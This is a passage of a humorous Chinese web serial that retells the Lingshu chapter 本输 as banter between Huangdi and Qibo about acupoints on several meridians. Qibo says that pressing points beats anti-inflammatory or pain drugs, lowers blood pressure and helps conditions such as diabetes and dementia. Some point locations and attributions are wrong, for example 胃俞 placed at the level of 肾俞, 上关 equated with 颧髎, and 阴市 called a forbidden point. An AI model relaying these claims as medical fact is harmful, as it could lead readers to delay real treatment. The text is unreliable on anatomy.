黄帝一听，眼睛瞪得圆圆的：“哇，这么厉害啊！那我还想知道，这手少阳三焦经的穴位还有啥别的妙用吗？” 岐伯一听，嘿嘿一笑：“当然有啦。比如说啊，这关冲穴啊，不仅能治疗头疼、咽痛啥的，还能治疗晕车、中暑等毛病。液门穴呢，不仅能治疗手臂疼痛啥的，还能治疗口腔溃疡、中耳炎等毛病。中渚穴啊，不仅能治疗肩背疼痛啥的，还能治疗耳聋、耳鸣等毛病。阳池穴呢，不仅能治疗手腕疼痛啥的，还能治疗感冒、头痛等毛病。支沟穴啊，不仅能治疗便秘啥的，还能治疗肋间神经痛等毛病。天井穴呢，不仅能治疗肘部疼痛啥的，还能治疗淋巴结炎等毛病。” 黄帝一听，惊讶得合不拢嘴：“哇，岐伯啊，你这真是太厉害了！那你能不能再给我讲讲，这手少阳三焦经还有啥别的需要注意的地方呢？” 岐伯说：“当然有啦。这手少阳三焦经啊，它可是个容易堵塞的经络。所以啊，咱们平时得多揉揉这些穴位，让它们保持通畅。还有啊，这手少阳三焦经跟咱们的情绪也有很大的关系。所以啊，咱们平时要保持心情舒畅，别让情绪过于压抑或者激动。这样啊，咱们的身体才能更健康 、更快乐！” 本输篇第二（四） 话说有一天，黄帝心血来潮，对岐伯说：“嘿，岐伯，我这人啊，别的爱好没有，就是对咱们人体的经络穴位特别感兴趣。今天啊，我就想问问你，那个手太阳小肠经，它是怎么在咱们身上跑来跑去的呢？” 岐伯一听，眼睛一亮，心想：这黄帝啊，真是个好奇宝宝，不过嘛，既然你问了，那我就给你来个详细解说，保证让你听得津津有味！ 于是，岐伯清了清嗓子，开始了他的讲解：“黄帝啊，你可听好了，这小肠啊，它跟手太阳经那可是亲如兄弟，手挽手、肩并肩地在咱们身上闯荡呢！首先啊，这小肠经的起点，就在咱们的小指头上，有个穴位叫‘少泽’，就是你现在用小指去抠鼻孔时，能碰到的最尖端那里，哈哈，开个玩笑，其实是小指指甲根外侧0.1寸的地方。这‘少泽’啊，可是个井穴，五行属金，就像是地下水井的井口，能清热利咽、通乳开窍，对付喉咙痛、乳汁不下这些问题，那可是手到擒来！” 黄帝一听，笑得前仰后合：“哈哈，岐伯，你这比喻太逗了，井穴就像井口，那我这手指头岂不是成了水井管理员了？” 岐伯也跟着笑了起来：“哈哈，黄帝啊，你这想象力也是没谁了。不过话说回来，咱们继续啊。这小肠经从‘少泽’出发后，就溜达到了一个叫‘前谷’的地方。这‘前谷’啊，就在咱们小指外侧，手掌横纹头赤白肉际那里，你握拳的时候，手掌根那块儿肉鼓起来的地方，往前摸一点点就是。这‘前谷’可是个荥穴，能清热泻火、明目安神，对于头痛、耳鸣这些小毛病，那可是有奇效的！” 黄帝听得津津有味：“哇，原来‘前谷’这么神奇啊！那接下来呢？” 岐伯接着说：“接下来啊，小肠经就流到了‘后溪’这个穴位。这‘后溪’啊，就在咱们小指外侧，手掌横纹头后面的凹陷处，你把手掌立起来，小指那侧的最高点就是。这‘后溪’可是个俞穴，能疏通经络、调和气血，还能治疗落枕、腰痛这些常见问题。下次你要是脖子扭了，别忘了揉揉‘后溪’哦！” 黄帝一听，眼睛一亮：“哈哈，岐伯，你这穴位介绍简直就是生活小妙招啊！那‘腕骨’呢？这个穴位又在哪里，有什么作用？” 岐伯笑道：“别急嘛，黄帝。这‘腕骨’啊，就在咱们手掌尺侧，豌豆骨前凹陷处。你把手掌翻过来，手腕那块儿突出来的骨头前面一点点就是。这‘腕骨’可是个原穴，能清热止渴、通经活络，对于糖尿病、黄疸这些病症，可是有一定的辅助治疗作用的。不过啊，你可别指望它就能治好病，还是得听医生的话，按时吃药哦！” 黄帝点头称是：“嗯嗯，这个我懂。那接下来呢？‘阳谷’和‘小海’这两个穴位又在哪里，有什么作用呢？” 岐伯继续讲解：“这‘阳谷’啊，就在咱们手腕背侧，尺骨茎突与三角骨之间的凹陷处。你把手掌翻过来，手腕那块儿有个突出来的骨头，旁边有个凹陷，那就是‘阳谷’。这‘阳谷’可是个经穴，能清热明目、镇痛通络，对于头痛、目眩、耳鸣这些问题，那可是有很好的缓解作用的。至于‘小海’嘛，那就更厉害了，它在咱们肘内侧，尺骨鹰嘴与肱骨内上髁之间的凹陷处。你把手臂伸直，肘尖内侧那块儿肉凹进去的地方就是。这‘小海’可是个合穴，能清热安神、通络止痛，对于癫痫、尺神经麻痹这些病症，那可是有着不可忽视的作用的！” 黄帝听得连连点头：“哈哈，岐伯，你这解说真是太精彩了！不过啊，我听说这经络穴位还有好多讲究呢，比如什么子午流注、五行相生相克之类的，你能不能再给我讲讲啊？” 岐伯一听，摇了摇头：“哎呀，黄帝啊，你这胃口也太大了吧？咱们今天先把这手太阳小肠经给弄清楚再说吧！至于那些子午流注、五行相生相克的东西，那可是个大工程，咱们得慢慢来，不着急！” 黄帝突发奇想地问岐伯：“嘿，岐伯，我这人对人体经络那是相当感兴趣，尤其是手阳明大肠经，它到底是怎么个走法？你能不能给我说道说道？” 岐伯一听，哈哈一笑，说：“黄帝啊黄帝，你这问题可是问到点子上了，手阳明大肠经啊，那可是咱们人体里的‘清道夫’，专门负责把体内的垃圾毒素往外排。来来来，我给你细细道来。” “首先啊，这大肠经上合于手阳明，它的起点在商阳穴。商阳穴在哪儿呢？就在你的大拇指旁边，那个食指的指甲盖儿边上，轻轻一按，哎哟，那叫一个酸爽，这就是井穴，五行属金，简称‘井金’。这商阳穴啊，可是个宝贝，上火了、喉咙痛了，掐它一下，立马见效，比吃消炎药还快呢！” 黄帝一听，眼睛一亮：“哟呵，这么神奇？那接下来呢？” 岐伯接着说：“别急嘛，这经络就像一条大河，商阳穴就是它的源头。水流从商阳穴出发，溜达到食指的第二节前面，那里有个二间穴，是荥穴。荥穴啊，就像是小溪里的水，虽然不大，但也能滋润周边的土地。这二间穴呢，你要是手上长了个小水泡、小疹子啥的，揉揉它，保管你舒服多了。” 黄帝听得津津有味：“有意思，那三间穴呢？” 岐伯笑道：“三间穴啊，就在二间穴的后面，食指的第三节后面，是俞穴。俞穴嘛，就像是河里的一个中转站，水流到这里，稍微歇歇脚，然后继续往前流。这三间穴呢，你要是牙疼了、咽喉肿痛了，按它一下，保管你疼痛减轻不少，比吃止痛药还管用呢！” 黄帝一听，连连点头：“不错不错，这大肠经还真有点意思。” 岐伯接着说：“接下来啊，这经络就流到了合谷穴。合谷穴啊，那可是个大穴，就在大拇指和食指之间的那个虎口处，轻轻一按，哎哟，那叫一个酸爽。这合谷穴啊，可是个‘万能穴’，头疼脑热、牙疼、面瘫啥的，按它一下，都能得到缓解。而且啊，它还是原穴，就像是经络里的一个老家，所有的气血都从这里出发，然后又回到这里。” 黄帝一听，眼睛瞪得圆圆的：“这么神奇？那阳溪穴呢？” 岐伯说：“阳溪穴啊，就在合谷穴的后面，手腕那里，两根筋之间有个凹陷，轻轻一按就能找到。这阳溪穴啊，可是个经穴，就像是经络里的一条主干道，气血从这里流过，滋养着周边的肌肉和骨骼。你要是手腕疼、胳膊酸啥的，揉揉它，保管你舒服多了。” 黄帝听得那叫一个过瘾：“哈哈，这大肠经还真是全身都是宝啊！那曲池穴呢？我听说那可是个‘大穴’啊！” 岐伯笑道：“对对对，曲池穴啊，那可是大肠经的合穴，就在肘关节的外侧，有个突出的骨头，骨头旁边有个凹陷，轻轻一按就能找到。这曲池穴啊，可是个‘排毒大穴’，你要是便秘了、皮肤长痘了、脸上长斑了啥的，揉揉它，都能得到缓解。而且啊，它还是个‘降压穴’，高血压的人啊，经常揉揉它，血压都能降下来呢！” 黄帝一听，连声称赞：“不错不错，这大肠经还真是全身都是宝啊！那岐伯老兄啊，这大肠经除了这些穴位之外，还有啥特别的地方吗？” 岐伯说：“当然有啦！这大肠经啊，它可是个‘双向调节’的高手。你要是便秘了，揉揉它上面的穴位，能促进肠道蠕动，帮你排便；你要是拉肚子了，揉揉它上面的穴位，又能帮你止泻。还有啊，这大肠经还能帮你调节情绪呢！你要是心情不好、压力大啥的，揉揉它上面的穴位，都能得到缓解。” 黄帝悠悠地问：“嘿，岐伯老兄，我这心里头啊，就跟揣了个十万个为什么似的，特别想知道咱们这五脏六腑的‘俞’穴，到底藏着啥玄机？” 岐伯捋了捋他那飘逸的胡须，笑眯眯地说：“黄帝大人，您这问题问得好！咱们这五脏六腑啊，每个脏器都有它的‘俞’穴，就像是它们各自的小秘书，负责传达和接收身体的各种信号。具体来说，五脏呢，每个脏有五个俞穴，一共就是五五二十五俞；六腑呢，每个腑有六个俞穴，加起来就是六六三十六俞。这些俞穴啊，可都是咱们身体里的宝藏呢！” 黄帝眨眨眼：“哦？这么说来，这些俞穴还挺有排面的嘛！那它们都在哪儿呢？有啥作用呢？快给我讲讲！” 岐伯清了清嗓子，开始了他的“穴位脱口秀”：“好嘞，咱们先从五脏的俞穴说起。先说肺俞吧，它就藏在咱们后背第三胸椎棘突下，旁开1.5寸的地方。这肺俞啊，就像是肺脏的大管家，你要是咳嗽、气喘啥的，找它就对了！轻轻一按，嘿，立马感觉呼吸都顺畅多了！” “接下来是心俞，第四胸椎棘突下，也是旁开1.5寸。这心俞啊，那可是心脏的贴心小棉袄，心绞痛、失眠啥的，找它聊聊，保证你心情大好，一觉到天亮！” “然后是肝俞，第九胸椎棘突下，旁开1.5寸。肝俞就像是肝脏的私人医生，你要是肝火旺、眼睛干涩啥的，找它开个方子，保证你‘肝’气满满，视力也嗖嗖往上涨！” “脾俞呢，在第十一胸椎棘突下，旁开1.5寸。这脾俞啊，简直就是脾胃的守护神，消化不良、拉肚子啥的，找它准没错，保你吃得香、拉得畅！” “最后是肾俞，第二腰椎棘突下，还是旁开1.5寸。肾俞啊，那可是肾脏的超级英雄，肾虚、腰痛啥的，找它一出手，保证你‘肾’气凌人，腰杆儿倍儿 直！” 黄帝听得津津有味：“哈哈，岐伯，你这讲解方式真是绝了！那六腑的俞穴呢？也给我说道说道吧！” 岐伯哈哈一笑：“好嘞，六腑的俞穴也不含糊！先说大肠俞吧，它在第四腰椎棘突下，旁开1.5寸。这大肠俞啊，简直就是肠道的清道夫，便秘、腹胀啥的，找它一疏通，保证你肠道畅通无阻，心情也跟着美美哒！” “小肠俞呢，在第一骶椎棘突下，旁开1.5寸。小肠俞就像是小肠的私人教练，你要是吸收不好、营养不良啥的，找它训练训练，保证你营养满满，身体倍儿棒！” “胃俞在第二腰椎棘突下，旁开1.5寸，跟脾俞是邻居。胃俞啊，那可是胃部的贴身保镖，胃痛、反酸啥的，找它保驾护航，保证你胃口大开，吃啥啥香！” “胆俞在第十胸椎棘突下，旁开1.5寸。胆俞就像是胆囊的守护者，你要是胆囊炎、胆结石啥的，找它帮忙，保证你‘胆’色过人，不再受那些小石头的困扰！” “膀胱俞在骶正中嵴旁1.5寸，平第二骶后孔。膀胱俞啊，那可是膀胱的贴心小助手，尿频、尿急啥的，找它协调一下，保证你膀胱功能杠杠的，出门再也不用急着找厕所了！” “最后是三焦俞，在第一腰椎棘突下，旁开1.5寸。三焦俞啊，它就像是三焦系统的指挥官，调节水液代谢、疏通气机啥的，全靠它！你要是觉得身体水肿、气机不畅啥的，找它指挥一下，保证你身体轻盈如风，心情也跟着飞扬起来！” 黄帝听完，哈哈大笑：“岐伯，你这讲解真是太有趣了！不仅让我了解了五脏六腑的俞穴位置和作用，还让我感受到了中医的博大精深和穴位的神奇魅力！以后啊，我也要学着给自己按按这些俞穴，保养保养身体！” 岐伯也笑得合不拢嘴：“黄帝大人，您这可是说到点子上了！咱们中医啊，讲究的就是‘治未病’，平时多按按这些俞穴，不仅能防病治病，还能强身健体呢！不过啊，记得要找准穴位、力度适中哦，可别把自己按成‘笑料’啦！” 本输篇第二（五） 黄帝有一天突发奇想，决定向岐伯请教一个深奥的问题：“岐伯啊，我这心里头啊，就像揣了个十万个为什么，特别是对这七次脉的事儿，简直是好奇得要命！您能不能给我讲讲这七次脉到底是怎么回事儿？” 岐伯一听，哈哈一笑，捋了捋他那长长的白胡子，说道：“黄帝啊，你这问题问得好！来来来，咱们这就开始一场七次脉的奇妙之旅！” “首先啊，咱们得从这缺盆说起，缺盆啊，其实就是咱们脖子下面、锁骨中间那个窝窝。这里呢，藏着一条重要的经脉——任脉。任脉上有个穴位，叫做天突，就在喉结下面一点点，你摸摸看，是不是有个软软的小坑？这就是天突穴啦！它啊，就像是咱们身体里的一个小天窗，能通气、能化痰，要是你觉得喉咙不舒服啊，揉揉它，保证你立马舒服多了！” “好，接下来咱们说第一次脉，也就是任脉旁边的那条动脉，它其实是足阳明胃经的分支，叫做人迎穴。你找找看，就在脖子两侧，喉结旁边，用手一摸，是不是能感觉到脉搏在跳？对，就是这里！人迎穴啊，那可是个‘大人物’，它能调节气血，你要是觉得头晕目眩、血压不稳啊，多揉揉它，保管你头脑清醒、血压稳稳当当的！” “接着咱们说第二次脉，它是手阳明大肠经的穴位，名叫扶突穴。扶突穴啊，就在人迎穴下面一点点，你用手一摸就能摸到。这个穴位啊，就像是咱们身体里的‘小助手’，能帮你缓解咽喉肿痛、声音嘶哑这些问题。你要是当老师、讲课的，或者经常大声说话的，可得好好揉揉它哦！” “哎呀，说到这第三次脉，咱们得聊聊手太阳小肠经的穴位——天窗穴。天窗穴啊，就在扶突穴再往下一点点，你用手一按，是不是觉得酸酸涨涨的？对，就是这里！天窗穴啊，它能治疗咱们耳朵的问题，比如耳鸣、耳聋啊，多揉揉它，保证你耳朵灵灵光光的！” “接下来是第四次脉，足少阳胆经的穴位——天容穴。天容穴啊，就在咱们下巴下面，耳朵下面一点点，你找找看，是不是有个软软的窝窝？对，就是这里！天容穴啊，它就像是咱们身体里的‘小卫士’，能帮你预防感冒、缓解头痛、牙痛这些问题。你要是觉得头啊、牙啊不舒服的，赶紧揉揉它！” “第五次脉呢，是手少阳三焦经的穴位——天牖穴。天牖穴啊，就在咱们耳朵后面，靠近发际线的地方，你用手一摸就能摸到。这个穴位啊，它能帮你缓解肩颈疼痛、头晕目眩这些问题。你要是经常对着电脑、手机啊，肩颈不舒服啊，赶紧揉揉它，保证你肩颈放松、精神百倍！” “说到第六次脉，咱们得聊聊足太阳膀胱经的穴位——天柱穴。天柱穴啊，就在咱们后脖子上，发际线下面一点点，用手一按，是不是觉得酸酸涨涨的？对，就是这里！天柱穴啊，它就像是咱们身体里的‘小柱子’，能帮你支撑起整个头部，还能缓解头痛、失眠这些问题。你要是觉得头重脚轻、睡不着啊，赶紧揉揉它！” “最后啊，咱们说说第七次脉，它是督脉上的穴位，叫做风府穴。风府穴啊，就在咱们后脖子正中间，发际线下面一点点，用手一摸就能摸到。这个穴位啊，它可是个‘大人物’中的‘大人物’！它不仅能帮你缓解头痛、头晕这些问题，还能帮你提高记忆力、预防老年痴呆呢！不过啊，风府穴这个地方比较敏感，大家揉的时候可得轻点哦！” 黄帝一听，哈哈大笑：“岐伯啊，您这一讲啊，我这心里头的十万个为什么算是解决了！不过啊，我这还有个问题，这七次脉啊，有没有什么特别的联系或者规律啊？” 岐伯一听，又捋了捋他那长长的白胡子，说道：“黄帝啊，你这问题问得好！这七次脉啊，它们就像是咱们身体里的七条‘高速公路’，把气血输送到全身各个角落。它们啊，各有各的路线、各有各的作用，但同时又相互关联、相互影响。所以啊，咱们在调理身体的时候啊，可不能只看一个穴位、一条经脉哦！” 黄帝一听，连连点头：“岐伯啊，您这一讲啊，我可是受益匪浅啊！以后啊，我这身体要是有什么不舒服啊，我就按照您这七次脉的方法来调理！” 岐伯一听，哈哈大笑：“黄帝啊，你这学得快啊！不过啊，我这还得提醒你一句啊，这七次脉啊，虽然神奇啊，但也不是万能的哦！咱们啊，还是得平时多注意锻炼身体、保持良好的生活习惯才行啊！” 黄帝有一天心血来潮，突然发问：“嘿，岐伯，我这心里头有个事儿，特想弄明白。你说这腋下的动脉啊，还有腋下往下量三寸那地儿，到底有啥讲究？中医里头这俩位置是不是藏着啥宝贝？” 岐伯一听，嘿，这问题有意思，于是捋了捋长须，慢悠悠地说：“黄帝啊，你这问题问得好，咱们中医讲究的就是天人合一，身体里的每一个部位都有它的奥秘。来来来，我给你细细道来。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ “先说这腋内动脉吧，那可是咱们手上的太阴肺经的地盘，中医里头给它起了个高大上的名字，叫‘天府’。你想啊，天府之国，那是四川，沃野千里，物产丰饶，咱们中医就把这条经络上，靠近腋窝的这个重要穴位比作天府，意味着它是气血汇聚、滋养全身的宝地。位置嘛，就在你胳膊上，找起来也简单，你把胳膊抬起来，手掌朝前，用另一只手去摸你胳膊靠近腋窝那一块软软的肉，再稍微往下一点，摸到一根粗粗的筋，旁边凹陷下去的地方，就是天府穴啦！这穴位可厉害了，多揉揉它，能帮你润肺通气，治疗咳嗽、气喘啥的，简直就是天然的‘润肺小能手’。” 黄帝一听，眼睛一亮：“哟，这么神奇？那腋下三寸那地儿呢？听说也是个穴位，叫啥名儿？” 岐伯哈哈一笑：“你记得真清楚，那地方啊，是咱们心包经的领地，穴位名叫‘天池’，听着就让人联想到天池水怪，不过别担心，咱们这天池穴可温顺多了。天池穴就在你乳头外侧，大概一寸半到两寸的位置，也是靠近腋窝那儿。你想象一下，天池嘛，就像是山间的一片清澈湖泊，心包经的气血在这里汇聚，就像湖水汇聚成潭，静谧而深邃。多按摩天池穴，能帮你宽胸理气，缓解胸闷、心悸这些问题，特别是对那些工作压力大，经常觉得心里堵得慌的朋友来说，简直就是心灵的‘解压阀’。” 黄帝对身边的岐伯说：“嘿，岐伯啊，我这人爱学习，今天特别想知道关于刺三关的学问，你赶紧给我讲讲呗！”岐伯一听，心想这黄帝老爷子又犯好奇病了，但谁让他是老大呢，于是慢悠悠地回答：“皇上啊，您这可是问对人了。刺三关这事儿，学问大了去了！” 黄帝一听，眼睛一亮：“哦？快说说，快说说！” 岐伯清了清嗓子，开始娓娓道来：“刺上关啊，就是刺那个颧髎穴，位置在面部颧骨下缘，当中与下颌切迹之间的凹陷中。您想啊，要是刺了这个穴位，病人要是想张嘴‘啊’一声，那可就费劲了，得使劲儿才能张开，为啥呢？因为这穴位跟咱们面部的肌肉活动关系密切，一刺激它，肌肉就紧张了嘛！” 黄帝一听，哈哈大笑：“有意思，有意思！那刺下关呢？” 岐伯继续讲：“刺下关啊，就是刺那个下关穴，它在下颌骨髁状突前方，当颧弓与下颌切迹所形成的凹陷中。您想象一下，要是刺了这个穴位，病人要是想打个哈欠，那可就难了，得憋着劲儿才能勉强合上嘴。为啥呢？因为这穴位跟咱们下颌关节的活动紧密相连，一刺激它，关节就僵住了嘛！” 黄帝一听，更乐了：“哈哈，岐伯啊，你这说得跟变魔术似的，那刺犊鼻呢？是不是跟牛鼻子有关啊？” 岐伯一听，差点没笑出来：“皇上啊，您这想象力真是太丰富了！刺犊鼻啊，其实是刺那个外膝眼，就是咱们膝盖外侧那个凹陷处。您想啊，要是刺了这个穴位，病人要是想弯曲膝盖，那可就难了，得硬撑着才能保持伸直。为啥呢？因为这穴位跟咱们膝关节的活动息息相关，一刺激它，膝关节就僵直了嘛！” 黄帝一听，眼睛瞪得圆圆的：“哎呀，岐伯啊，你这刺三关的学问还真是深奥啊！那刺两关呢？是不是得同时刺两个穴位啊？” 岐伯点了点头：“皇上啊，您这举一反三的能力真是让人佩服！刺两关啊，其实是指的同时刺激咱们腿上的阳陵泉和阴陵泉两个穴位。阳陵泉在小腿外侧，当腓骨头前下方凹陷处；阴陵泉在小腿内侧，当胫骨内侧髁后下方凹陷处。您想象一下，要是同时刺了这两个穴位，病人要是想伸直腿，那可就难了，得费老大劲儿才能勉强伸直。为啥呢？因为这两个穴位跟咱们腿部的肌肉和关节活动都有密切关系，一刺激它们，腿部肌肉和关节就都得‘罢工’了嘛！” 黄帝一听，哈哈大笑：“岐伯啊，你这说得可真是生动有趣啊！那要是有人不小心被刺了这些穴位，岂不是得难受死？” 岐伯摇了摇头：“皇上啊，您这话说得可不对。咱们中医针灸啊，那可是讲究个‘辩证施治’，得根据病人的病情和体质来选择合适的穴位和刺激方法。而且啊，针灸的效果那可是因人而异的，有的人可能感觉特别明显，有的人可能就没什么感觉。再说了，咱们针灸的目的可不是为了让病人难受，而是为了让病人恢复健康啊！” 黄帝一听，连连点头：“对对对，岐伯啊，你这话说得在理啊！那要是有人想学你这刺三关的本事，得从哪儿学起呢？” 岐伯想了想，说：“皇上啊，要想学这针灸的本事啊，那可得下苦功夫才行。首先啊，得把人体的经络穴位都摸透了，知道每个穴位的位置和作用；其次啊，得掌握正确的针灸手法和刺激方法；最后啊，还得有丰富的临床经验和敏锐的观察力才行。所以啊，这可不是一朝一夕就能学会的！” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 有一天，黄帝突发奇想，决定考考岐伯。黄帝一脸神秘地说：“嘿，岐伯，你知道吗？我一直对咱们中医里的那些穴位特别感兴趣，尤其是足阳明、手阳明、手太阳、足少阳、手少阳、足太阳，还有那个阴尺动脉，它们的来头可不小啊！你能给我讲讲这些穴位的道理不？” 岐伯一听，心里暗笑，心想：“这黄帝啊，又想听我讲穴位了，看来今天我得好好表现一番，让他也见识见识我的‘穴位脱口秀’。”于是，岐伯清了清嗓子，开始了他的“穴位讲解”。 “黄帝，你这问题问得好！咱们先从足阳明说起吧。足阳明啊，那可是咱们中医里的大明星，它的‘侠喉之动脉’其实就是咱们现代说的‘人迎穴’。这穴位在哪儿呢？就在你脖子上，喉结旁边，你摸摸看，是不是能感觉到脉搏在跳？这‘人迎穴’啊，作用可大了，它能治疗咽喉肿痛、高血压，还能让你呼吸更顺畅。不过啊，你可别没事就乱按，得找准时机，不然它可会‘发脾气’的哦！” 黄帝一听，哈哈大笑：“岐伯啊，你这穴位讲解还挺有趣嘛！那接下来呢，手阳明又是什么情况？” 岐伯接着说：“手阳明啊，它就在‘人迎穴’的外边，不过你得注意，它可不到曲颊一寸的地方。咱们现代说的‘扶突穴’就是它的位置。你摸摸脖子侧面，喉结往下一点，是不是有个软软的凹陷？对，就是那个地方！这‘扶突穴’啊，能治疗咳嗽、气喘，还能帮你缓解肩颈疼痛。不过啊，你得温柔点，别把它当成‘出气筒’啊！” 黄帝听得津津有味，又问：“那手太阳呢？它在哪儿？” 岐伯笑道：“手太阳啊，它就在曲颊那里，咱们现代说的‘天窗穴’就是它的位置。你张张嘴，摸摸耳朵下面，脖子侧面那个凸起来的地方，再往下一点点，有个凹陷，对，就是那个！这‘天窗穴’啊，能治疗耳聋、耳鸣，还能帮你缓解头痛。不过啊，你可别把它当成‘耳塞’拔来拔去的哦！” 黄帝笑得前仰后合：“岐伯啊，你这穴位讲解真是太逗了！那足少阳呢？它又在哪儿？” 岐伯继续道：“足少阳啊，它在耳下曲颊之后，咱们现代说的‘颊车穴’就是它的位置。你摸摸脸颊下面，靠近耳朵那个地方，是不是有个能动的骨头？对，就是那里！你用力咬牙，是不是感觉它更突出了？这‘颊车穴’啊，能治疗牙痛、口眼歪斜，还能帮你瘦脸哦！不过啊，你得悠着点，别把它当成‘瘦脸神器’使劲按啊！” 黄帝笑得合不拢嘴：“哈哈，岐伯啊，你这穴位讲解真是绝了！那手少阳呢？它是不是也很有意思？” 岐伯点头：“那当然！手少阳啊，它出在耳后，上加完骨之上，咱们现代说的‘翳风穴’就是它的位置。你摸摸耳朵后面，靠近下颌骨那个地方，是不是有个凹陷？对，就是那个！这‘翳风穴’啊，能治疗耳鸣、耳聋，还能帮你缓解头痛、面瘫。不过啊，你可别把它当成‘耳罩’整天戴着哦！” 黄帝笑得眼泪都出来了：“岐伯啊，你这穴位讲解真是让我大开眼界啊！那足太阳呢？它又在什么位置？” 岐伯笑道：“足太阳啊，它侠项大筋之中，发际边上，咱们现代说的‘天柱穴’就是它的位置。你摸摸脖子后面，发际线往下一点点，两侧肌肉凸起的地方，对，就是那个！这‘天柱穴’啊，能治疗头痛、颈项僵硬，还能帮你提神醒脑。不过啊，你得小心点，别把它当成‘按摩棒’乱按一气哦！” 黄帝终于笑够了，又问：“那阴尺动脉呢？它是不是也很特别？” 岐伯点头：“阴尺动脉啊，它在五里，不过咱们现代说的‘阴市穴’更符合它的位置。你找找大腿前面，膝盖往上一掌宽的地方，有个凹陷，对，就是那个！不过啊，这‘阴市穴’可不是随便能按的，它是五俞穴里的禁穴之一，得在专业人士的指导下才能使用哦！不然啊，它可会‘罢工’的哦！” 本输篇第二（六） 话说有一天，黄帝老爷子闲来无事，就琢磨起人体这复杂的构造来了。他挠挠头，自言自语道：“哎，我这心里老有个疑问，咱们这五脏六腑啊，到底是怎么配对合作的呢？得找个专家问问。”于是，他就把歧伯这位老中医给请来了。 歧伯一听黄帝的问题，嘿，这可是他的拿手好戏啊，立马清了清嗓子，开讲了：“陛下啊，这事儿简单得很，您听我慢慢道来。” 黄帝一听，眼睛一亮，耳朵也竖起来了，心想：“哦？简单？那我得好好听听。” 歧伯接着说：“首先啊，咱们这肺和大肠，那就是一对好哥们儿，肺合大肠嘛。大肠呢，就像个传话筒，哦不对，是传导之腑，专门负责把身体里的垃圾啊、毒素啊，通过便便的形式排出去。要是大肠不通畅，嘿，那您可就得小心了，便秘、口臭、皮肤差，这些烦恼都会找上门来。” 黄帝一听，乐了：“哈哈，原来大肠这么重要啊，以后得多吃点膳食纤维，让大肠通顺点儿。” 歧伯点点头，继续往下说：“然后呢，心和小肠又是一对黄金搭档。心呢，是咱们身体的发动机，主宰着一切；小肠呢，就是接收站，负责接收胃消化后的食物精华，再进一步吸收。所以啊，小肠要是出了问题，比如吸收不好，营养跟不上，那心脏也得跟着受累。” 黄帝听得连连点头：“嗯，这心和小肠的关系，还真是紧密无间呢。” 歧伯笑了笑，接着说：“接下来啊，肝和胆这对兄弟，也是不容小觑的。肝呢，是咱们身体的将军，主疏泄，调情志；胆呢，就是个小仓库，藏着胆汁，帮咱们消化脂肪。您想啊，要是胆汁分泌不足，吃红烧肉都不香了，那多可惜啊！” 黄帝一听，笑得前仰后合：“哈哈，说得我都馋了，胆汁确实重要啊。” 歧伯接着讲：“再来说说脾和胃吧。脾呢，是咱们身体的后天之本，负责运化水谷，把食物转化为气血；胃呢，就是个大粮仓，储存食物，再通过蠕动把食物送给小肠。所以啊，脾胃要是不好，吃啥都白搭，吸收不了，人也就瘦得跟竹竿似的。” 黄帝一听，恍然大悟：“原来如此，看来我得好好保养脾胃了。” 歧伯最后说：“最后啊，肾和膀胱这对搭档，也是不容忽视的。肾呢，是咱们身体的先天之本，藏着精气神；膀胱呢，就是个大水库，储存尿液，再通过排尿把体内的废物排出去。所以啊，肾要是虚了，膀胱也跟着倒霉，尿频、尿急、尿痛这些毛病就都来了。” 黄帝一听，连连点头：“嗯，这肾和膀胱的关系，还真是息息相关啊。” 歧伯讲完了五脏六腑的相合关系，黄帝觉得受益匪浅，但又觉得好像少了点什么，于是问：“歧伯啊，你这说了五脏六腑的相合，怎么没说针灸里的穴位呢？我听说针灸也能调理脏腑啊。” 歧伯一听，一拍脑门：“哎呀，看我这记性，差点忘了。那咱们就来说说针灸里的穴位吧。” 黄帝一听，眼睛又亮了：“好啊，快说说。” 歧伯说：“首先啊，咱们说说肺经的穴位。肺经上有个穴位叫中府穴，就在咱们胸前锁骨下窝的外侧，第一肋间隙处。这个穴位啊，可是肺经的募穴，专门治疗咳嗽、气喘、胸痛这些肺系疾病的。您要是觉得胸闷气短，揉揉这个穴位，立马就舒服多了。” 黄帝一听，觉得挺神奇：“哦？这么神奇？那大肠经呢？” 歧伯接着说：“大肠经上有个穴位叫合谷穴，就在咱们手背第一、二掌骨间，第二掌骨桡侧的中点处。这个穴位啊，可是大肠经的原穴，专门治疗头痛、牙痛、面肿这些大肠经循行部位的疾病。您要是牙疼了，赶紧揉揉这个穴位，保证您疼得直咧嘴变成笑得合不拢嘴。” 黄帝一听，哈哈大笑：“哈哈，这合谷穴还真是牙疼的克星啊。” 歧伯接着说：“然后啊，咱们说说心经上的穴位。心经上有个穴位叫少海穴，就在咱们肘横纹内侧端与肱骨内上髁连线的中点处。这个穴位啊，可是心经的合穴，专门治疗心痛、手臂麻痛这些心经循行部位的疾病。您要是觉得心里堵得慌，揉揉这个穴位，立马就舒畅了。” 黄帝一听，觉得挺有意思：“哦？心经也有这么神奇的穴位啊。那小肠经呢？” 歧伯说：“小肠经上有个穴位叫后溪穴，就在咱们手掌尺侧，微握拳时第五掌指关节后的远侧掌横纹头赤白肉际处。这个穴位啊，可是小肠经的输穴，又是八脉交会穴之一，通督脉。专门治疗头痛项强、耳聋、目赤这些疾病。您要是觉得脖子僵硬了，扭扭脖子，再揉揉这个穴位，立马就轻松多了。” 黄帝一听，乐得合不拢嘴：“哈哈，这后溪穴还真是颈椎病的救星啊。” 歧伯接着说：“接下来啊，咱们说说肝经上的穴位。肝经上有个穴位叫太冲穴，就在咱们足背第一、二跖骨结合部之前凹陷处。这个穴位啊，可是肝经的输穴，又是原穴。专门治疗头痛、眩晕、目赤肿痛这些肝经循行部位的疾病。您要是觉得生气了，肝气不舒了，赶紧揉揉这个穴位，立马就消气了。” 黄帝一听，笑得前仰后合：“哈哈，这太冲穴还真是情绪的调节器啊。” 歧伯接着说：“然后啊，咱们说说胆经上的穴位。胆经上有个穴位叫风池穴，就在咱们项部枕骨之下，胸锁乳突肌与斜方肌上端之间的凹陷处。这个穴位啊，可是胆经的穴位，又是足少阳与阳维脉的交会穴。专门治疗头痛、眩晕、颈项强痛这些疾病。您要是觉得头疼了，揉揉这个穴位，立马就神清气爽了。” 黄帝一听，觉得挺受用：“哦？胆经也有这么神奇的穴位啊。那脾经呢？” 歧伯说：“脾经上有个穴位叫三阴交穴，就在咱们小腿内侧，内踝尖上3寸，胫骨内侧缘后际处。这个穴位啊，可是脾经、肝经、肾经三条阴经的交会穴。专门治疗腹胀、腹泻、月经不调这些疾病。您要是觉得脾胃不和了，揉揉这个穴位，立马就胃口大开了。” 